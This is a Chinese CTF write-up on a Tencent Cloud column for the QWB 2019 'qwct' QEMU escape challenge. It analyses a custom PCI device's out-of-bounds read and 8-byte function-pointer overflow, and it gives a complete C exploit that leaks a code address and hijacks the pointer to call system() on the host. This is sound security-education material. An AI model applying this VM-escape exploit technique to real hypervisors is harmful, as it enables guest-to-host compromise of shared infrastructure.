前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTF QEMU 虚拟机逃逸之强网杯2019线上赛qwct

CTF QEMU 虚拟机逃逸之强网杯2019线上赛qwct

作者头像
用户1423082
发布于 2024-12-31 12:09:37
发布于 2024-12-31 12:09:37
3100
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

熟悉题目

启动脚本,是qwb设备

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/bin/bash
./qemu-system-x86_64 -initrd ./rootfs.cpio -nographic -kernel ./vmlinuz-5.0.5-generic -L pc-bios/  -append "priority=low console=ttyS0" -device qwb -monitor /dev/null

一开始在16.04,18.04上尝试启动,结果安装的依赖库好像版本不太符合要求,最终在19.04上面安装依赖库即可启动了,看来强网杯还是紧跟最新的系统啊

tips:缺少库可以用 apt-cache search 去查找后安装

启动起来,先看pci设备

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/ # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:8848
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

再看看qwb_class_init函数,可以确定是00:04.0 Class 00ff: 1234:8848

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall qwb_class_init(ObjectClass_0 *a1, void *data)
{
  ObjectClass_0 *v2; // rbx
  ObjectClass_0 *v3; // rax

  v2 = object_class_dynamic_cast_assert(
         a1,
         (const char *)&implements_type,
         "/home/ctflag/Desktop/QWB/online/QMCT/qemu_qwb/hw/misc/qwb.c",
         497,
         "qwb_class_init");
  v3 = object_class_dynamic_cast_assert(
         a1,
         "pci-device",
         "/home/ctflag/Desktop/QWB/online/QMCT/qemu_qwb/hw/misc/qwb.c",
         498,
         "qwb_class_init");
  BYTE4(v3[2].object_cast_cache[0]) = 0x10;
  HIWORD(v3[2].object_cast_cache[0]) = 0xFF;
  v3[1].unparent = (ObjectUnparent *)pci_qwb_realize;
  v3[1].properties = (GHashTable *)pci_qwb_uninit;
  LOWORD(v3[2].object_cast_cache[0]) = 0x1234;
  WORD1(v3[2].object_cast_cache[0]) = 0x8848u;
  v2[1].type = (Type)((_QWORD)v2[1].type | 0x80LL);
}

漏洞代码分析

这个很多多线程的锁与解锁,所以还是比较难看的

qwb_mmio_read当addr为0-10的功能,其他情况继续看下面

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0、初始化crypt_key,input_buf,output_buf(crypto.statu的最低的13位为1就什么也不做)
1、crypto.statu为02,就设置为3
2、crypto.statu为04,就设置为1
3、crypto.statu为3,就设置为4
4、crypto.statu为1,就设置为2
5、crypto.statu为24,设置crypto.encrypt_function为aes_encrypt_function
6、crypto.statu为24,设置crypto.decrypt_function为aes_decrypto_function
7、crypto.statu为24,设置crypto.encrypt_function为stream_encrypto_fucntion
8、crypto.statu为24,设置crypto.decrypt_function为stream_decrypto_fucntion
9、crypto.statu为24,statu设置为5,调用加密函数opaque->crypto.encrypt_function(opaque->crypto.input_buf,opaque->crypto.output_buf,opaque->crypto.crypt_key); 
其实到qwb_encrypt_processing_thread将statu设置为6
10、crypto.statu为24,statu设置为7,调用解密函数opaque->crypto.decrypt_function(opaque->crypto.input_buf,opaque->crypto.output_buf,opaque->crypto.crypt_key);
其实到qwb_decrypt_processing_thread将statu设置为8

代码太长就只贴default的代码,下面把lock和unlock的代码去掉了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
default:
      size_copy = size;
      if ( addr <= 0x2FFF )
      {
        if ( addr <= 0x1FFF )
        {
          if ( addr <= 0xFFF )
          {
LABEL_37:
            return -1LL;
          }
          v20 = size_copy == 1;
          goto LABEL_35;
        }
        v20 = size == 1;
      }
      else
      {
        v18 = strlen((const char *)opaque->crypto.output_buf);
        v19 = size_copy == 1;
        v20 = size_copy == 1;
        if ( addr < v18 + 0x3000 && v19 )
        {
          if ( (opaque->crypto.statu - 6) & 0xFFFFFFFFFFFFFFFDLL )
          {
            result = -1LL;
          }
          else
          {
            v22 = *((_BYTE *)opaque + addr - 0x15C0);
            result = v22;
          }
          return result;
        }
      }
      if ( addr < strlen((const char *)opaque->crypto.input_buf) + 0x2000 && v20 )
      {
        if ( opaque->crypto.statu == 2 )
        {
          v23 = *((_BYTE *)opaque + addr - 0xDC0);
          result = v23;
        }
        else
        {
          result = -1LL;
        }
        return result;
      }
LABEL_35:
      if ( addr >= strlen((const char *)opaque->crypto.crypt_key) + 0x1000 || !v20 )
        goto LABEL_37;
      if ( opaque->crypto.statu == 4 )
      {
        v24 = *((_BYTE *)opaque + addr - 0x5C0);
        result = v24;
      }
      else
      {
        result = -1LL;
      }
      return result;

功能如下,根据addr的值进行选择:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0x1000-0x1fff: size为1,而且addr< strlen((const char *)opaque->crypto.crypt_key) + 0x1000,才能进入下一步,下一步要opaque->crypto.statu == 4,最终才读取*((_BYTE *)opaque + addr - 0x5C0)的值
0x2000-0x2fff: 条件基本跟上面相似,statu为2,读取*((_BYTE *)opaque + addr - 0xDC0);
0x3000以上: 条件基本跟上面相似,status为68,读取*((_BYTE *)opaque + addr - 0x15C0);

此外,还有重要的是,我们调用了下面的才能进入addr大于0x3000的分支

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
qwb_decrypt_processing_thread将status设置为8
qwb_encrypt_processing_thread将status设置为6

qwb_mmio_write的话如下,没什么漏洞,只是设置crypt_key和input_buf

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall qwb_mmio_write(QwbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  char v4; // r12
  QemuMutex_0 *v5; // r13
  int v6; // edx

  if ( size == 1 )
  {
    v4 = val;
    if ( addr - 0x1000 <= 0x7FF )
    {
      v5 = &opaque->crypto_statu_mutex;
      if ( opaque->crypto.statu == 3 )
      {
        *((_BYTE *)opaque + addr - 0x5C0) = v4;
      }
      v6 = 435;
    }
    else
    {
      if ( addr - 0x2000 > 0x7FF )
        return;
      v5 = &opaque->crypto_statu_mutex;
      if ( opaque->crypto.statu == 1 )
      {
        *((_BYTE *)opaque + addr - 0xDC0) = v4;
      }
      v6 = 447;
    }
  }
}

那么漏洞是什么? 1、qwb_mmio_read在填满output_buf的时候,strlen会大于0x800,在读取output_buf的时候,可以越界读,读取到函数指针

2、还有就是在aes_encrypt_functionaes_decrypto_function中,以aes_encrypt_function为例,最后会各种异或操作一波,由于v7最多可以到0x800,最终将溢出output_buf,溢出8个字节,可以覆盖encrypt_function指针

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
*(_QWORD *)&output_buf[v7] = v25;

漏洞利用

保护措施,全开

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
root@ubuntu:~/qemu_escape/qwb-preliminary-2019-qwct# checksec ./qe*
[*] '/root/qemu_escape/qwb-preliminary-2019-qwct/qemu-system-x86_64'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

利用思路: 1、mmio_write不能直接填充output_buf,所以我们通过调用stream_encrypto_fucntion去填充疑惑后都是非0的,那么strlen计算就会超过0x800,那就可以越界读,读取到函数指针stream_encrypto_fucntion的地址,从而算出程序的基址,及system_plt地址

2、虽然aes_encrypt_function和aes_decrypto_function都有8字节溢出,但是我们需要控制output_buf的值,我们才能最终控制计算出来的值(即循环异或,第一次是异或0,第二次是异或上一次的结果),直接通过aes_encrypt_function利用有点困哪,我们难以控制加密后的值。但是我们先aes加密,再通过aes解密,那么我们就可以精准控制解密结果了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//下面是aes_decrypto_function的部分代码
    v18 = 0LL;
    v19 = 0;
    v12 = 0;
    for ( i = 0LL; ; v12 = *((_BYTE *)&v18 + (i & 7)) )
    {
      v14 = output_buf[i] ^ v12;
      v15 = i++;
      *((_BYTE *)&v18 + (v15 & 7)) = v14;
      if ( v7 == i )
        break;
    }
    v16 = v18;
  }
  else
  {
    v16 = 0LL;
  }
  *(_QWORD *)&output_buf[v7] = v16;
  return 1;
}

最终exp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// -*- coding: utf-8 -*-
// @Date    : 2020-01-15
// @Author  : giantbranch
// @Link    : http://www.giantbranch.cn/
// @tags : 

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x100000
#define MAP_MASK (MAP_SIZE - 1)


char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_base;

unsigned char* getMMIOBase(){
    
    int fd;
    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
        perror("open pci device");
        exit(-1);
    }
    mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if(mmio_base == (void *) -1) {
        perror("mmap");
        exit(-1);
    }
    return mmio_base;
}

void mmio_write(uint64_t addr, uint64_t value){
    *((uint8_t*)(mmio_base + addr)) = value;

}

uint32_t mmio_read(uint64_t addr){
    return *((uint8_t*)(mmio_base + addr));
}

void init(){
    mmio_read(0);
}

void set_status(uint32_t value){
    if (value == 1)
    {
        mmio_read(2);
    }else if (value == 2)
    {
        mmio_read(4);
    }else if (value == 3)
    {
        mmio_read(1);
    }else if (value == 4)
    {
        mmio_read(3);
    }
}

void set_enc_aes(){
    mmio_read(5);
}

void set_dec_aes(){
    mmio_read(6);
}


void set_enc_stream(){
    mmio_read(7);
}

void set_dec_stream(){
    mmio_read(8);
}

void call_encrypt_function(){
    mmio_read(9);
}

void call_decrypt_function(){
    mmio_read(10);
}

uint8_t read_crypt_key(uint32_t offset){
    return mmio_read(0x1000+offset);
}

uint8_t read_input_buf(uint32_t offset){
    return mmio_read(0x2000+offset);
}

// b *$rebase(0x4D2907) 
uint8_t read_output_buf(uint32_t offset){
    return mmio_read(0x3000+offset);
}

void write_crypt_key(uint32_t offset, uint8_t value){
    mmio_write(0x1000+offset,value);
}

void write_input_buf(uint32_t offset, uint8_t value){
    mmio_write(0x2000+offset,value);
}

uint64_t leak_enc_fucntion(){
    int i = 0;
    uint64_t enc_fucntion_addr = 0, tmp;

    for (i = 0; i < 6; i++){
        // printf("leak  0x800+%d : %lx\n", i, read_output_buf(0x800+i));
        tmp = read_output_buf(0x800+i);
        tmp <<= (8*i);
        enc_fucntion_addr |= tmp;
    }
    return enc_fucntion_addr;
}

int main(int argc, char const *argv[])
{
    uint64_t system_plt_off = 0x2ADF80, system_plt = 0;
    uint64_t stream_encrypto_off = 0x4D2A20, stream_encrypto_addr = 0, bin_addr = 0;
    uint8_t enc_output_data[0x800];

    int i = 0;
    getMMIOBase();
    printf("mmio_base Resource0Base: %p\n", mmio_base);


    /***************************/
    /*leak stream_encrypto_addr*/
    /***************************/

    //init status, crypt_key, input_buf, output_buf
    init();

    // fill input_buf with 0x60
    set_status(1);
    for (i = 0; i < 0x800; i++){
        write_input_buf(i, 0x60);
    }

    // fill crypt_key
    // b *$rebase(0x4D2090)
    set_status(2);
    // b *$rebase(0x4D1F80)
    set_status(3);
    for (i = 0; i < 0x800; i++){
        write_crypt_key(i, 0x6);
    }

    // set encrypt_function with stream_encrypto_fucntion
    // b *$rebase(0x4D21A0)
    set_status(4);
    set_enc_stream();
    // call encrypt_function to fill output_buf
    // b *$rebase(0x4D1D6D)
    call_encrypt_function();
    usleep(100);

    //leak
    stream_encrypto_addr = leak_enc_fucntion();
    bin_addr = stream_encrypto_addr - stream_encrypto_off;
    system_plt = bin_addr + system_plt_off;
    printf("stream_encrypto_addr: %lx\n", stream_encrypto_addr);
    printf("bin_addr: %lx\n", bin_addr);
    printf("system_plt: %lx\n", system_plt);


    /***************************/
    /*overwrite enc pointer*/
    /***************************/
    // now state is 6 (qwb_encrypt_processing_thread set opaque->crypto.statu = 6)
    // so we must call init to restart, otherwise we can't do nothing
    //init status, crypt_key, input_buf, output_buf
    init();
    // fill input_buf with 0x6f
    set_status(1);
    for (i = 0; i < 0x800; i++){
        write_input_buf(i, 0x60);
    }

    //通过对aes_dec最后代码的调试,发现最后结果为0x0,那么肯定是0x6060606060606060^0x6060606060606060了
    //所以我们设置最后8字节为 system_plt ^ 0x6060606060606060,计算出来就是system_plt了
    for (i = 0x7f8; i < 0x800; i++){
        write_input_buf(i, ((uint8_t*)&system_plt)[i&7]^0x60);
    }

    // fill crypt_key
    set_status(2);
    set_status(3);
    // size must 0x10 , and key not important
    for (i = 0; i < 0x10; i++){
        write_crypt_key(i, 0x6);
    }

    // set enc function
    set_status(4);
    set_enc_aes();

    call_encrypt_function();
    usleep(100);
    //state now is 6

    // read enc output_buf
    for (i = 0; i < 0x800; i++){
        enc_output_data[i] = read_output_buf(i);
    }

    /**** call aes_decrypto_function to overwrite enc pointer ****/
    init();

    // fill input_buf with enc_output_data
    set_status(1);
    for (i = 0; i < 0x800; i++){
        write_input_buf(i, enc_output_data[i]);
    }

    // set the same key
    set_status(2);
    set_status(3);
    // size must 0x10
    for (i = 0; i < 0x10; i++){
        write_crypt_key(i, 0x6);
    }

    // set dec function
    set_status(4);
    set_dec_aes();
    //b *$rebase(0x4D2A30) aec_dec
    //b *$rebase(0x4D2B1E) output
    //b *$rebase(0x4D2B41) overwrite    
    call_decrypt_function();
    usleep(100);

    /***************************/
    /*call enc pointer ————  just call system*/
    /***************************/
    init();
    // set system cmd: just set input_buf
    char *cmd = "gnome-calculator";
    // fill input_buf with cmd
    set_status(1);
    for (i = 0; i < strlen(cmd); i++){
        write_input_buf(i, cmd[i]);
    }

    //call enc
    set_status(2);
    call_encrypt_function();

    return 0;
}

最终效果:

cat flag:

弹计算器:

参考

https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/qwb-preliminary-2019-qwct

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 熟悉题目
  • 漏洞代码分析
  • 漏洞利用
  • 参考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档